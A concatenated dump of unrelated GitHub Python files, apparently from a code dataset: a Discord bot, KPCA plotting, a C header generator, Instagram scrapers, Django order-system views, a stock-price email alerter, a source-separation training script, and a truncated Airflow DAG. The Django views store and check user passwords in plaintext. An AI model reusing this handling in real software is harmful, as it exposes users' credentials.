verified!\", color=discord.Color.red())\r\n await ctx.send(embed=em, delete_after=5)\r\n\r\n#div error\r\n@div.error\r\nasync def div_error(ctx, error):\r\n em=discord.Embed(title=\"Error\", description=\"Not Possible\", color=discord.Color.red())\r\n await ctx.send(embed=em, delete_after=5)\r\n\r\nclient.run(os.environ['DISCORD_TOKEN'])\r\n","repo_name":"Detroit2/Knuckles","sub_path":"Knuckles.py","file_name":"Knuckles.py","file_ext":"py","file_size_in_byte":13436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"24686695488","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA, KernelPCA\nfrom sklearn.datasets import make_circles\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\n\nnp.random.seed(0)\n\nX, y = make_circles(n_samples=400, factor=.3, noise=.05)\n\npca = PCA()\nX_pca = pca.fit_transform(X)\n\nkpca = KernelPCA(kernel=\"rbf\", fit_inverse_transform=True, gamma=10)\nX_kpca = kpca.fit_transform(X)\nX_back = kpca.inverse_transform(X_kpca)\n\n\n# Plot results\n\nplt.figure()\nplt.subplot(2, 2, 1, aspect='equal')\nplt.title(\"原空间数据\")\nreds = y == 0\nblues = y == 1\n\nplt.scatter(X[reds, 0], X[reds, 1], c=\"red\", s=20, edgecolor='k')\nplt.scatter(X[blues, 0], X[blues, 1], c=\"blue\", s=20, edgecolor='k')\nplt.xlabel(\"$x_1$\")\nplt.ylabel(\"$x_2$\")\n\nX1, X2 = np.meshgrid(np.linspace(-1.5, 1.5, 50), np.linspace(-1.5, 1.5, 50))\nX_grid = np.array([np.ravel(X1), np.ravel(X2)]).T\n# projection on the first principal component (in the phi space)\n# 在phi空间中的第一主成分投影\nZ_grid = kpca.transform(X_grid)[:, 0].reshape(X1.shape)\nplt.contour(X1, X2, Z_grid, colors='grey', linewidths=1, origin='lower')\n\nplt.subplot(2, 2, 2, aspect='equal')\nplt.scatter(X_pca[reds, 0], X_pca[reds, 1], c=\"red\", s=20, edgecolor='k')\nplt.scatter(X_pca[blues, 0], X_pca[blues, 1], c=\"blue\", s=20, edgecolor='k')\nplt.title(\"由PCA投影\")\nplt.xlabel(\"第一主成分\")\nplt.ylabel(\"第二主成分\")\n\nplt.subplot(2, 2, 3, aspect='equal')\nplt.scatter(X_kpca[reds, 0], X_kpca[reds, 1], c=\"red\", s=20, edgecolor='k')\nplt.scatter(X_kpca[blues, 0], X_kpca[blues, 1], c=\"blue\", s=20, edgecolor='k')\nplt.title(\"由KPCA投影\")\nplt.xlabel(r\"由$\\phi$映射的空间第一主成分\")\nplt.ylabel(\"第二主成分\")\n\nplt.subplot(2, 2, 4, aspect='equal')\nplt.scatter(X_back[reds, 0], X_back[reds, 1], c=\"red\", s=20, edgecolor='k') # X_back是上面kpca重建的数据。\nplt.scatter(X_back[blues, 0], X_back[blues, 1], c=\"blue\", s=20, edgecolor='k')\nplt.title(\"经过重构后的原始空间\")\nplt.xlabel(\"$x_1$\")\nplt.ylabel(\"$x_2$\")\n\nplt.tight_layout()\nplt.show()","repo_name":"aliasch/Machine-Learning-Fundamentals-and-Practice","sub_path":"source codes/dimension_reduction/circles_kernel_pca_sklearn.py","file_name":"circles_kernel_pca_sklearn.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22363630485","text":"from ssot.gentype import GenFieldBits, GenFieldInt, GenFieldRef\n\nclass CPartEnum:\n def __init__(self, gen_type):\n self.gen_type = gen_type\n\n def needed_headers(self):\n return set()\n\n def write_h(self, file):\n file.write('enum {}_index {{\\n'.format(self.gen_type.cls_lowname))\n for inst in self.gen_type.instances:\n file.write('\\t{},\\n'.format(inst.capsname))\n file.write('\\tNUM_{},\\n'.format(self.gen_type.cls_capsname))\n file.write('\\t{0}_UNKNOWN = NUM_{0},\\n'.format(self.gen_type.cls_capsname))\n file.write('};\\n')\n file.write('\\n')\n\n def write_c(self, file):\n pass\n\n\nclass StructName:\n pass\n\n\nclass CPartStruct:\n def __init__(self, gen_type, fields):\n self.gen_type = gen_type\n self.fields = fields\n\n def needed_headers(self):\n return {'', ''}\n\n def write_h(self, file):\n file.write('extern const struct {} {{\\n'.format(self.gen_type.cls_lowname))\n for field in self.fields:\n if field is StructName:\n file.write('\\tconst char *name;\\n')\n elif isinstance(field, GenFieldBits):\n if field.size <= 32:\n file.write('\\tuint32_t {};\\n'.format(field.name))\n elif field.size <= 64:\n file.write('\\tuint64_t {};\\n'.format(field.name))\n else:\n raise NotImplementedError\n file.write('\\tbool {}_valid;\\n'.format(field.name))\n elif isinstance(field, GenFieldInt):\n file.write('\\tint {};\\n'.format(field.name))\n file.write('\\tbool {}_valid;\\n'.format(field.name))\n elif isinstance(field, GenFieldRef):\n file.write('\\tenum {}_index {};\\n'.format(field.target_type.cls_lowname, field.name))\n else:\n print(field)\n raise NotImplementedError\n file.write('}} {}_list[];\\n'.format(self.gen_type.cls_lowname))\n file.write('\\n')\n\n def write_c(self, file):\n file.write('const struct {} {}_list[] = {{\\n'.format(self.gen_type.cls_lowname, self.gen_type.cls_lowname))\n for inst in self.gen_type.instances:\n file.write('\\t{ ')\n for field in self.fields:\n if field is StructName:\n file.write('\"{}\", '.format(inst.name))\n elif isinstance(field, GenFieldBits):\n val = getattr(inst, field.name)\n if val is None:\n file.write('0, false, ')\n elif val is ...:\n file.write('-1, false, ')\n else:\n file.write('{:#x}, true, '.format(val))\n elif isinstance(field, GenFieldInt):\n val = getattr(inst, field.name)\n if val is None:\n file.write('0, false, ')\n elif val is ...:\n file.write('-1, false, ')\n else:\n file.write('{}, true, '.format(val))\n elif isinstance(field, GenFieldRef):\n val = getattr(inst, field.name)\n if val is None:\n file.write('-1, ')\n elif val is ...:\n file.write('{}_UNKNOWN, '.format(field.target_type.cls_capsname))\n else:\n file.write('{}, '.format(val.capsname))\n else:\n print(field)\n raise NotImplementedError\n file.write('},\\n')\n file.write('};\\n')\n file.write('\\n')\n\n\nclass CGenerator:\n def __init__(self, name, deps, parts):\n self.parts = parts\n self.deps = deps\n self.name = name\n\n def write_h(self, file):\n guard = 'CGEN_{}_H'.format(self.name.replace('/', '_').upper())\n file.write('/* This file is auto-generated -- do not edit. */\\n')\n file.write('#ifndef {}\\n'.format(guard))\n file.write('#define {}\\n'.format(guard))\n needed_headers = set()\n for part in self.parts:\n needed_headers |= part.needed_headers()\n for header in sorted(needed_headers):\n file.write('#include {}\\n'.format(header))\n for dep in self.deps:\n file.write('#include \"cgen/{}.h\"\\n'.format(dep.name))\n file.write('\\n')\n for part in self.parts:\n part.write_h(file)\n file.write('#endif\\n')\n\n def write_c(self, file):\n file.write('/* This file is auto-generated -- do not edit. */\\n')\n file.write('#include \"cgen/{}.h\"\\n'.format(self.name))\n file.write('\\n')\n for part in self.parts:\n part.write_c(file)\n","repo_name":"envytools/envytools","sub_path":"ssot/cgen.py","file_name":"cgen.py","file_ext":"py","file_size_in_byte":4814,"program_lang":"python","lang":"en","doc_type":"code","stars":414,"dataset":"github-code","pt":"31"} +{"seq_id":"14108805887","text":"import os\n\ndef calculate_average(filename):\n parts = filename.split('-')\n if len(parts) < 2:\n return None\n\n try:\n num = float(parts[0])\n return num\n except ValueError:\n return None\n\ndef group_filenames_by_second_part(folder_path):\n grouped_files = {}\n for filename in os.listdir(folder_path):\n if os.path.isfile(os.path.join(folder_path, filename)):\n parts = filename.split('-', 1)\n if len(parts) < 2:\n continue\n\n second_part = parts[1].strip()\n num = calculate_average(filename)\n\n if second_part in grouped_files:\n grouped_files[second_part].append(num)\n else:\n grouped_files[second_part] = [num]\n\n return grouped_files\n\ndef calculate_average_for_groups(grouped_files):\n averages = {}\n for second_part, nums in grouped_files.items():\n valid_nums = [num for num in nums if num is not None]\n if valid_nums:\n average = sum(valid_nums) / len(valid_nums)\n formatted_average = \"{:.2f}\".format(average)\n averages[second_part] = formatted_average\n\n return averages\n\n# Example folder path\nfolder_path = \"/Users/ekvashyn/Code/mXf/magicXform/magicXform/tmp\"\n\n# Group filenames by second part and calculate averages\ngrouped_files = group_filenames_by_second_part(folder_path)\naverages = calculate_average_for_groups(grouped_files)\n\n# Print the calculated averages for each group\nsorted_averages = sorted(averages.items(), key=lambda x: x[0]) # Sort by problem name\nprint(\"| Problem | Time |\")\nprint(\"|-----------------|----------|\")\nfor second_part, average in sorted_averages:\n print(f\"| {second_part} | {average}s |\")\nprint(\"\")\nprint(f\"Total: {len(averages.items())}\")\n\n# nums = []\n# for second_part, average in sorted_averages:\n# _, _, num = second_part.split(\"_\", 2)\n# num, _ = num.split(\".\", 1)\n# nums.append(num)\n# # print(nums)\n# number_list = set([str(i).zfill(2) for i in range(1, 59)])\n# print(list(number_list.difference(set(nums))))\n\n# for i in list(number_list.difference(set(nums))):\n# print(\"python3 magicXform.py --pf=\\\"/home/ekvashyn/Code/mXf/magicXform/challenges/s_split_52.smt2\\\" --rf=\\\"s_split_52.smt2\\\" --max_depth=300 --ver=2\"\n# )","repo_name":"Erveftick/magicXform","sub_path":"results/analytics_2.py","file_name":"analytics_2.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6738921336","text":"from behavioral.visitor import Electrician, Hvac, House\n\n\ndef test_electrical_work():\n home = House()\n e = Electrician()\n\n response = home.accept(e)\n\n assert response == \"House worked on by Electrician\"\n\n\ndef test_hvac_work():\n home = House()\n e = Hvac()\n\n response = home.accept(e)\n\n assert response == \"House worked on by Hvac\"\n","repo_name":"subaquatic-pierre/python-design-patterns","sub_path":"tests/test_visitor.py","file_name":"test_visitor.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69821960087","text":"#!/usr/bin/env python3\nfrom auth import login\nimport io\nimport json\nimport sys\nfrom instaloader import ConnectionException, Profile\nfrom flask import Flask, jsonify, abort, make_response\nfrom flask_log_request_id import RequestID, RequestIDLogFilter\nfrom gevent.pywsgi import WSGIServer\nimport logging\nimport joblib\nimport os\nfrom pathlib import Path\n\napp = Flask(__name__)\nRequestID(app)\nprofile_jb = \"/tmp/igmng/profile.jb\"\n\n\ndef config_logger():\n handler = logging.StreamHandler()\n handler.setFormatter(\n logging.Formatter(\n \"%(asctime)s - %(name)s - level=%(levelname)s - request_id=%(request_id)s - %(message)s\"\n )\n )\n handler.addFilter(RequestIDLogFilter())\n logging.getLogger().addHandler(handler)\n\n\nconfig_logger()\nlogger = app.logger\n\n\ndef enter_ig() -> Profile:\n logger.setLevel(logging.INFO)\n logger.info(\"Start login\")\n profile = login()\n if profile.is_left():\n logger.setLevel(logging.ERROR)\n logger.error(profile.from_left)\n exit(1)\n logger.info(\"Done login\")\n return profile.from_right\n\n\ndef get_profile() -> Profile:\n if os.path.exists(profile_jb):\n return joblib.load(profile_jb)\n else:\n profile = enter_ig()\n Path(os.path.dirname(profile_jb)).mkdir(parents=True, exist_ok=True)\n joblib.dump(profile, profile_jb, compress=3)\n return profile\n\n\nprofile = get_profile()\n\n\n@app.route(\"/followers\", methods=[\"GET\"])\ndef get_followers():\n logger.setLevel(logging.INFO)\n logger.info(\"Start fetching data\")\n result = {\n \"followees_num\": profile.followees,\n \"followers_num\": profile.followers,\n \"followers\": [\n {\n \"user_id\": x.userid,\n \"name\": x.username,\n }\n for x in profile.get_followers()\n ],\n }\n logger.info(\"Done fetching data\")\n return make_response(json.dumps(result, ensure_ascii=False))\n\n\n@app.errorhandler(404)\ndef not_fonud(error):\n return make_response(jsonify({\"error\": \"Not found\"}), 404)\n\n\nif __name__ == \"__main__\":\n http_server = WSGIServer((\"\", 3000), app)\n http_server.serve_forever()\n","repo_name":"falgon/igmng","sub_path":"igrouter/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20256774070","text":"from django.shortcuts import render, redirect, reverse\nfrom .models import City, Order_from, User, Restaurant, Suggest\n\n\n# Create your views here.\n\n\ndef index(request):\n username = request.session.get('username')\n print(username)\n return render(request, 'index.html', locals())\n\n\ndef register(request):\n return render(request, 'register.html')\n\n\ndef registers(request):\n if request.method == 'GET':\n return render(request, 'register.html')\n elif request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n pwd = request.POST.get('pwd')\n email = request.POST.get('email')\n\n users = User.objects.all()\n print(users)\n try:\n for i in users:\n if username == i.username:\n error = '该用户名已被注册'\n return render(request, 'register.html', {'error': error})\n else:\n user = User()\n user.username = username\n user.email = email\n user.password = password\n if pwd != password:\n error = '密码不一致'\n return render(request, 'register.html', {'error': error})\n else:\n user.save()\n except Exception as e:\n print(e)\n return redirect(reverse('orderapp:login'))\n\n\ndef login(request):\n return render(request, 'login.html')\n\n\ndef logins(request):\n if request.method == 'GET':\n return render(request, 'login.html')\n elif request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = User.objects.get(username=username)\n if username == user.username and password == user.password:\n request.session['username'] = request.POST['username']\n return redirect(reverse('orderapp:index'))\n else:\n error = '用户名与密码不一致'\n return render(request, 'login.html', {'error': error})\n\n\ndef loginout(request):\n request.session.clear()\n return redirect('orderapp:index')\n\n\ndef popular(request):\n restaurant = Restaurant.objects.all()\n username = request.session.get('username')\n print('---', restaurant)\n for i in restaurant:\n print('+++>', i.rname)\n return render(request, 'popular-Restaurents.html', locals())\n\n\ndef order(request):\n ord = Order_from.objects.all()\n restaurant = Restaurant.objects.all()\n username = request.session.get('username')\n city = City.objects.all()\n return render(request, 'order.html', locals())\n\n\ndef orders(request):\n if request.method == 'GET':\n\n return render(request, 'order.html')\n else:\n type1 = request.POST['type1']\n loca = request.POST['loca']\n city_name = request.POST['city_name']\n rname = request.POST['rname']\n\n ored = Order_from()\n re = Restaurant()\n ct = City()\n ored.order_type = type1\n re.location = loca\n re.rname = rname\n ct.city_name = city_name\n print(request.session.get('username'))\n if request.session.get('username'):\n ored.save()\n re.save()\n ct.save()\n print('成功')\n return render(request, 'index.html')\n else:\n error = '请登录'\n ord = Order_from.objects.all()\n restaurant = Restaurant.objects.all()\n username = request.session.get('username')\n city = City.objects.all()\n return render(request, 'order.html', locals())\n\n\ndef contact(request):\n return render(request, 'contact.html')\n\n\ndef contacts(request):\n if request.method == 'GET':\n return render(request, 'contact.html')\n elif request.method == 'POST':\n subject = request.POST['subject']\n message = request.POST['Message']\n suggest = Suggest()\n suggest.subject = subject\n suggest.message = message\n suggest.save()\n return render(request, 'index.html')\n","repo_name":"zjx960606/Ordersystem","sub_path":"order_system/orderapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74910194966","text":"#!/usr/bin/env python3\n\n# SELENIUM\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException, StaleElementReferenceException\n\nfrom pprint import pprint\nfrom pathlib import Path\nfrom dotenv import load_dotenv\n\nimport sys, os, time, json\nimport numpy as np\n\n# PYMONGO\nfrom pymongo import MongoClient\ndbh = MongoClient(\"localhost\", 27017)\n\n# Database\nig_database = dbh[\"ig_users\"]\n\n# Table\nig_users = ig_database[\"ig_users\"]\n\n## CONFIG\nload_dotenv()\nUSERNAME = os.getenv('USERNAME_IG')\nPASSWORD = os.getenv('PASSWORD_IG')\n\nTARGET = input(\"Type the Instagram user name: \").strip()\n\nwhile len(TARGET) == 0:\n print(\"You must to insert a valid name \\n\")\n TARGET = input(\"Insert the Instagram name: \").strip()\n\nprint(f\"Target user: {TARGET}\")\n\nURL = \"https://www.instagram.com/\"\n\nDRIVER_PATH = \"/usr/bin/chromedriver\"\nBRAVE_BROWSER_PATH = \"/usr/bin/brave-browser\"\n\ndriver_options = webdriver.ChromeOptions()\ndriver_options.binary_location = BRAVE_BROWSER_PATH\ndriver_options.add_argument(\"--incognito\")\n# driver_options.add_argument(\"--headless\") #Lo ejecuta sin entorno gráfico\n\n## MAIN\nbrowser = webdriver.Chrome(executable_path=DRIVER_PATH, options=driver_options)\n\nbrowser.implicitly_wait(10)\nbrowser.get(URL)\nbrowser.maximize_window()\n# LOGIN\nusername_input = browser.find_element_by_name(\"username\")\nusername_input.send_keys(USERNAME)\n\npassword_input = browser.find_element_by_name('password')\npassword_input.send_keys(PASSWORD)\n\nsubmit = browser.find_element_by_css_selector('button[type=\"submit\"]')\nsubmit.click()\n\ntry:\n wait = WebDriverWait(browser, 10)\n # Para que busque el elemento se deben pasar los valores como tuplas\n selector = (By.CSS_SELECTOR, \"div>button:last-of-type[tabindex='0']\")\n not_now_btn = wait.until(EC.element_to_be_clickable(selector)).click()\n \nexcept TimeoutException:\n print(\"Time to load took to mutch time\")\n\nnew_url = f\"{URL}{TARGET}\"\nbrowser.get(new_url)\n\nimgs_list = []\n\ntotal_pubs = browser.find_element_by_css_selector(\"main header section ul li:first-child > span:first-of-type > span\").text.replace(\".\",\"\")\ntotal_pubs = int(total_pubs)\n\nprint(f\"TOTAL PUBLICATIONS: {total_pubs}\")\nprint(\"Searching imgs...\\n\")\n\nscroll_bottom = \"\"\"window.scrollTo({top:document.body.scrollHeight, behavior:'smooth'});\n var totalHeight=document.body.scrollHeight; return totalHeight;\"\"\"\ncurrent_height = browser.execute_script(scroll_bottom)\nmatch = False\n\nwhile match == False:\n last_count = current_height\n time.sleep(3)\n current_height = browser.execute_script(scroll_bottom)\n\n imgs_script = \"\"\"const imgObj = [...document.querySelectorAll('section article a')]\n .map(img => JSON.stringify({\n \\\"img\\\": img.href, \n \\\"srcset\\\": [...img.children[0].querySelectorAll('img')][0].srcset\n })); \n return imgObj;\"\"\"\n \n imgs_dict = browser.execute_script(imgs_script)\n imgs_list.append([json.loads(item) for item in imgs_dict])\n # print(f\"last_count: {last_count} -- current_height: {current_height}\\n\")\n \n if last_count == current_height:\n match = True\n\nflatten = list(np.concatenate(imgs_list, axis=0))\nuniques = list({value[\"img\"]: value for value in flatten}.values())\n\nfinal_dict = {\"user_name\": TARGET, \"data\": uniques}\n\n# Write all the content in a JSON file #OPTIONAL\nif len(sys.argv) == 2 and sys.argv[1] == \"write\":\n\n subdir = \"data\"\n current_dir = Path().cwd()\n result_dir = f\"{current_dir}/{subdir}\"\n\n if not Path(result_dir).is_dir():\n os.mkdir(result_dir)\n\n with open(f\"{result_dir}/{TARGET}.json\", \"w+\") as file:\n file.write(json.dumps(final_dict, indent=2))\n\n#INSERT IN THE DATABASE\ninserted_docs = ig_users.insert_one(final_dict)\ntotal_rows = len(uniques)\nif total_rows > 0:\n print(f\"Have been inserted {total_rows} documents\\n\")\n print(\"Bye\")\n\ntime.sleep(3)\n\nbrowser.close()\n","repo_name":"KevinHCH/INSTAGRAM-SCRAPPER","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1897456734","text":"import os\nimport re\nimport argparse\nimport yaml\nfrom numpy.random import RandomState, seed\nimport nnabla as nn\nimport nnabla.solvers as S\nfrom nnabla.ext_utils import get_extension_context, import_extension_module\nfrom nnabla.utils.data_iterator import data_iterator\nfrom nnabla.monitor import Monitor, MonitorSeries, MonitorTimeElapsed\nimport nnabla.functions as F\nfrom lr_scheduler import AnnealingScheduler\nfrom comm import CommunicatorWrapper\nfrom model import stft, spectogram, D3NetMSS\nfrom data import load_datasources\nfrom util import AverageMeter, get_statistics\nfrom args import get_train_args\n\n\ndef get_nnabla_version_integer():\n r = list(map(int, re.match('^(\\d+)\\.(\\d+)\\.(\\d+)', nn.__version__).groups()))\n return r[0] * 10000 + r[1] * 100 + r[2]\n\n\ndef train():\n # Check NNabla version\n if get_nnabla_version_integer() < 11900:\n raise ValueError(\n 'Please update the nnabla version to v1.19.0 or latest version since memory efficiency of core engine is improved in v1.19.0')\n\n parser, args = get_train_args()\n\n # Get context.\n ctx = get_extension_context(args.context, device_id=args.device_id)\n comm = CommunicatorWrapper(ctx)\n nn.set_default_context(comm.ctx)\n ext = import_extension_module(args.context)\n\n # Monitors\n # setting up monitors for logging\n monitor_path = os.path.join(args.output, args.target)\n monitor = Monitor(monitor_path)\n\n monitor_traing_loss = MonitorSeries(\n 'Training loss', monitor, interval=1)\n monitor_lr = MonitorSeries(\n 'learning rate', monitor, interval=1)\n monitor_time = MonitorTimeElapsed(\n \"training time per epoch\", monitor, interval=1)\n\n if comm.rank == 0:\n if not os.path.isdir(args.output):\n os.makedirs(args.output)\n\n # Initialize DataIterator for MUSDB.\n train_source, args = load_datasources(parser, args)\n\n train_iter = data_iterator(\n train_source,\n args.batch_size,\n RandomState(args.seed),\n with_memory_cache=False\n )\n\n if comm.n_procs > 1:\n train_iter = train_iter.slice(\n rng=None, num_of_slices=comm.n_procs, slice_pos=comm.rank)\n\n # Change max_iter, learning_rate and weight_decay according no. of gpu devices for multi-gpu training.\n default_batch_size = 6\n train_scale_factor = (comm.n_procs * args.batch_size) / default_batch_size\n\n max_iter = int(train_source._size // (comm.n_procs * args.batch_size))\n weight_decay = args.weight_decay * train_scale_factor\n args.lr = args.lr * train_scale_factor\n\n print(f\"max_iter per GPU-device:{max_iter}\")\n\n # Calculate the statistics (mean and variance) of the dataset\n scaler_mean, scaler_std = get_statistics(args, train_source)\n\n # clear cache memory\n ext.clear_memory_cache()\n\n # Create input variables.\n mixture_audio = nn.Variable(\n [args.batch_size] + list(train_source._get_data(0)[0].shape))\n target_audio = nn.Variable(\n [args.batch_size] + list(train_source._get_data(0)[1].shape))\n\n with open(f\"./configs/{args.target}.yaml\") as file:\n # Load target specific Hyper parameters\n hparams = yaml.load(file, Loader=yaml.FullLoader)\n\n # create training graph\n mix_spec = spectogram(\n *stft(mixture_audio,\n n_fft=hparams['fft_size'], n_hop=hparams['hop_size'], patch_length=256),\n mono=(hparams['n_channels'] == 1))\n target_spec = spectogram(\n *stft(target_audio,\n n_fft=hparams['fft_size'], n_hop=hparams['hop_size'], patch_length=256),\n mono=(hparams['n_channels'] == 1))\n\n with nn.parameter_scope(args.target):\n d3net = D3NetMSS(hparams, comm=comm.comm, input_mean=scaler_mean,\n input_scale=scaler_std, init_method='xavier')\n pred_spec = d3net(mix_spec)\n\n loss = F.mean(F.squared_error(pred_spec, target_spec))\n loss.persistent = True\n\n # Create Solver and set parameters.\n solver = S.Adam(args.lr)\n solver.set_parameters(nn.get_parameters())\n\n # Initialize LR Scheduler (AnnealingScheduler)\n lr_scheduler = AnnealingScheduler(\n init_lr=args.lr, anneal_steps=[40], anneal_factor=0.1)\n\n # AverageMeter for mean loss calculation over the epoch\n losses = AverageMeter()\n\n for epoch in range(args.epochs):\n # TRAINING\n losses.reset()\n for batch in range(max_iter):\n mixture_audio.d, target_audio.d = train_iter.next()\n solver.zero_grad()\n loss.forward(clear_no_need_grad=True)\n if comm.n_procs > 1:\n all_reduce_callback = comm.get_all_reduce_callback()\n loss.backward(clear_buffer=True,\n communicator_callbacks=all_reduce_callback)\n else:\n loss.backward(clear_buffer=True)\n solver.weight_decay(weight_decay)\n solver.update()\n losses.update(loss.d.copy(), args.batch_size)\n training_loss = losses.get_avg()\n\n # clear cache memory\n ext.clear_memory_cache()\n\n lr = lr_scheduler.get_learning_rate(epoch)\n solver.set_learning_rate(lr)\n\n if comm.rank == 0:\n monitor_traing_loss.add(epoch, training_loss)\n monitor_lr.add(epoch, lr)\n monitor_time.add(epoch)\n\n # save intermediate weights\n nn.save_parameters(f\"{os.path.join(args.output, args.target)}.h5\")\n\n if comm.rank == 0:\n # save final weights\n nn.save_parameters(f\"{os.path.join(args.output, args.target)}_final.h5\")\n\n\nif __name__ == '__main__':\n train()\n","repo_name":"sony/ai-research-code","sub_path":"d3net/music-source-separation/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","stars":328,"dataset":"github-code","pt":"31"} +{"seq_id":"38256693867","text":"from firebase_admin import firestore\nfrom firebase_admin import db\n\n\n# 매칭된 사용자의 닉네임 반환\ndef matching_user(nickname):\n # Firestore 객체 생성\n fs = firestore.client()\n\n # user_list: 사용자 nickname: uid를 담은 dict\n user_list = fs.collection(u'root').document(u'UserList').get().to_dict()\n\n # uid: 사용자 nickname을 이용해서 얻은 uid\n uid = user_list.get(nickname)\n\n queue_path = 'MatchQueue/' + str(uid)\n MatchQueueList = db.reference(queue_path).get()\n MatchQueueKeyList = list(MatchQueueList.keys())\n\n if MatchQueueKeyList[0] == \"refuse_list\":\n return MatchQueueList.get(MatchQueueKeyList[1])\n\n else:\n return MatchQueueList.get(MatchQueueKeyList[0])\n","repo_name":"Yusuhyeong/graduationProject","sub_path":"FirebaseMatch_new/MatchingUser.py","file_name":"MatchingUser.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37735974254","text":"from bs4 import BeautifulSoup\nimport requests, smtplib, time\nfrom flask import Flask, render_template, request, url_for\nfrom threading import Thread\n\napp = Flask(__name__)\n\n@app.route('/')\ndef progstart():\n return render_template(\"site.html\")\n\n@app.route('/start_task')\ndef start_task():\n def do_work(stockInput, targetprice, email):\n targetprice = float(targetprice)\n while True:\n \n URL = \"https://finance.yahoo.com/quote/\" + stockInput.upper() + \"?p=\" + stockInput.upper() + \"&.tsrc=fin-srch\"\n\n htmlFound = requests.get(URL).text\n\n retrieved = BeautifulSoup(htmlFound, 'html')\n\n price = retrieved.find(\"span\", class_ = \"Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)\").text\n\n oldprice = float(price.replace(\",\", \"\"))\n newtargetprice = price.replace(\",\", \"\")\n\n print(\"The price is: \" + price)\n\n newprice = float(price.replace(\",\", \"\"))\n\n server = smtplib.SMTP(\"smtp.gmail.com\", 587)\n server.ehlo()\n server.starttls()\n server.ehlo()\n \n \n \n server.login(\"email\", \"password\")\n \n head = stockInput + \" price update!\"\n \n if oldprice < targetprice:\n\n if newprice >= targetprice:\n\n body = stockInput.upper() + \" rose to \" + str(newprice) + \"!\"\n message = f\"Subject: {head}\\n\\n{body}\"\n server.sendmail(\"sstrikebot@gmail.com\", email, message)\n \n if oldprice > targetprice:\n\n if newprice <= targetprice:\n\n body = stockInput.upper() + \" fell to \" + str(newprice) + \"!\"\n \n message = f\"Subject: {head}\\n\\n{body}\"\n server.sendmail(\"sstrikebot@gmail.com\", email, message)\n\n if oldprice == targetprice:\n\n body = stockInput.upper() + \" has reached $\" + str(newprice) + \"!\"\n \n message = f\"Subject: {head}\\n\\n{body}\"\n server.sendmail(\"sstrikebot@gmail.com\", email, message)\n time.sleep(30)\n\n kwargs = {\n 'stockInput':request.args.get('ticker'),\n 'targetprice':request.args.get('target'),\n 'email':request.args.get('email')\n }\n print(request.args)\n thread = Thread(target=do_work, kwargs=kwargs)\n thread.start()\n return render_template(\"site.html\")\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"mrahman4782/Stock-Strike","sub_path":"stocksearch.py","file_name":"stocksearch.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4737222570","text":"# 사각형의 넓이 계산 함수\n# 함수이름 - calc_area()\n\ndef calc_area(w, h):\n area = w * h\n return area\n\nresult = calc_area(4, 3)\nprint('사각형의 면적', result) #12\nprint(f'사각형 면적 : {result}') #12\n# 가로가 4센치 세로가 3센치의 사각형의 넓이\n# 가로의길이 * 세로의길이 = 사각형의 넓이\n\n#---------------------------------------#\n\n\n# 삼각형의 넓이 계산 함수\n# 함수이름 - tri_area()\n\ndef tri_area(x, y):\n area = int((x * y) / 2) # 소수점자리 없애기 int()\n return area\n\nresult2 = tri_area(4, 5)\nprint(f'삼각형의 면적 : {result2}') #10\n# 밑변 4, 높이 5의 ���각형의 넓이\n# (밑변 * 높이) ÷ 2 = 삼각형의 넓이\n\n\n#---------------------------------------#\n\n# 정사각형의 면적\n\"\"\"\nsize = int(input(\"숫자를 입력: \"))\narea = size * size\nprint(area)\n\"\"\"\ndef calc_size(n):\n area = n * n\n return area\nprint(calc_size(100))\n","repo_name":"gaonasi-i/python","sub_path":"ch04/def_return2.py","file_name":"def_return2.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70505468249","text":"import os\nfrom airflow.models import Variable\nfrom datetime import datetime\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.dataproc import (DataprocCreateBatchOperator,DataprocGetBatchOperator)\nfrom datetime import datetime\nfrom airflow.utils.dates import days_ago\nimport string\nimport random # define the random module\nS = 10 # number of characters in the string.\n# call random.choices() string module to find the string in Uppercase + numeric data.\nran = ''.join(random.choices(string.digits, k = S))\nproject_id = models.Variable.get(\"project_id\")\nregion = models.Variable.get(\"region\")\nsubnet=models.Variable.get(\"subnet\")\ncode_bucket=Variable.get(\"code_bucket\")\numsa=Variable.get(\"umsa\")\n\nname=\"\"\n\ndag_name= name+\"_covid_data_analytics_dag\"\nservice_account_id= umsa+\"@\"+project_id+\".iam.gserviceaccount.com\"\n\ncovid_script= 